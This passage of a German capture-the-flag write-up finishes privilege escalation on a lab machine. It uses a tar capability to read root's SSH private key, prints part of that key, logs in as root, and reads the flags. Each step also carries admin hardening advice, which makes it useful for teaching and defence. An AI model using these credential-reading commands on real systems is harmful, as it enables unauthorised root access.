kwidXsel+Zgj8AAAAMcm9vdEBUaGVXYWxsAQIDBAUGBw
-----END OPENSSH PRIVATE KEY-----
                     

Analyse: Die `CAP_DAC_READ_SEARCH`-Capability von `/usr/sbin/tar` wird ausgenutzt. 1. `/usr/sbin/tar -czf id_rsa.tar /root/.ssh/id_rsa`: `tar` wird aufgerufen, um die Datei `/root/.ssh/id_rsa` (privater SSH-Schlüssel von root) in ein Archiv `id_rsa.tar` im aktuellen Verzeichnis zu packen. Dank der Capability kann `tar` die Datei lesen, obwohl `john` keine Berechtigung dazu hat. 2. `ls -la`: Bestätigt die Erstellung der Archivdatei `id_rsa.tar`. 3. `tar -xf id_rsa.tar`: Das Archiv wird entpackt, wodurch die Datei `id_rsa` im aktuellen Verzeichnis erstellt wird. 4. `cat id_rsa`: Der Inhalt des privaten Schlüssels von root wird angezeigt.

Bewertung: Erfolg! Der private SSH-Schlüssel des Root-Benutzers wurde extrahiert. Dies ermöglicht den direkten Login als `root`.

Empfehlung (Pentester): Verwenden Sie den extrahierten privaten Schlüssel (`id_rsa`), um sich als `root` per SSH auf dem Zielsystem (`localhost` oder die IP) anzumelden (`ssh root@localhost -i id_rsa`).
Empfehlung (Admin): Entfernen Sie die Capability von `tar`. Überwachen Sie die Integrität wichtiger Systemdateien und Konfigurationen. Sichern Sie den SSH-Zugang für `root` (z.B. `PermitRootLogin prohibit-password` oder `no` in `sshd_config`).

john@TheWall:~$ ssh root@localhost -i id_rsa
The authenticity of host 'localhost (::1)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Linux TheWall 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64
[...]
Last login: Wed Oct 19 19:51:15 2022 from 10.0.2.15
root@TheWall:~#
                     

Analyse: Es wird eine SSH-Verbindung zu `localhost` als Benutzer `root` hergestellt, wobei der zuvor extrahierte private Schlüssel (`-i id_rsa`) verwendet wird.

Bewertung: **Root-Zugriff erlangt!** Der Login ist erfolgreich, da der private Schlüssel zur Authentifizierung verwendet wird. Die finale Privilege Escalation ist abgeschlossen.

Empfehlung (Pentester): Lesen Sie die Root-Flagge im `/root`-Verzeichnis.
Empfehlung (Admin): Beheben Sie die Capability-Schwachstelle bei `tar`. Überprüfen Sie die SSH-Konfiguration für `root`.

root@TheWall:~# ls
r0t.txT
root@TheWall:~# cat r0t.txT
4be82a3be9aed6eea5d0cce68e17662e

Analyse: Im `/root`-Verzeichnis wird der Inhalt aufgelistet und die Datei `r0t.txT` (ein leicht abgewandelter Name für die Root-Flagge) ausgelesen.

Bewertung: Die Root-Flagge `4be82a3be9aed6eea5d0cce68e17662e` wurde erfolgreich gefunden.

Empfehlung (Pentester): Ziel erreicht. Maschine abgeschlossen. Dokumentieren Sie den Prozess.
Empfehlung (Admin): Nach Behebung der Schwachstellen (LFI, sudo-Regel, Capability) Systemhärtung durchführen und auf Kompromittierungen prüfen.

Flags

cat /home/john/user.txt
cc5db5e7b0a26e807765f47a006f6221
cat /root/r0t.txT
4be82a3be9aed6eea5d0cce68e17662e